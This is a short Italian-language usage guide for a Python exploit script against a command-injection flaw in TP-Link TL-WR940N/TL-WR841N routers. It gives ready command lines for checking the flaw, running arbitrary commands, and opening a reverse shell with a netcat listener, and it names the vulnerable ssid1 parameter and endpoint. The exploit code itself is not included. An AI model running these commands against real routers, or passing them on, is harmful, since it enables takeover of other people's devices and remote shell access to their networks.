
Exploit Python per la vulnerabilità di iniezione di comandi in TP-Link TL-WR940N/TL-WR841N
Verifica base della vulnerabilità:
python tplink_exploit.py -t 192.168.1.1 -u admin -p admin
Esecuzione di un comando personalizzato:
python tplink_exploit.py -t 192.168.1.1 -u admin -p admin -c "your_command_here"
Reverse Shell (configurare prima un listener con nc -lvnp 4444):
python tplink_exploit.py -t 192.168.1.1 -u admin -p admin --lhost YOUR_IP --lport 4444
Note importanti:
La vulnerabilità esiste a causa di una scorretta sanitizzazione dell'input nel parametro ssid1 dell'endpoint /userRpm/WlanNetworkRpm.htm, che consente l'iniezione di comandi tramite richieste appositamente formulate.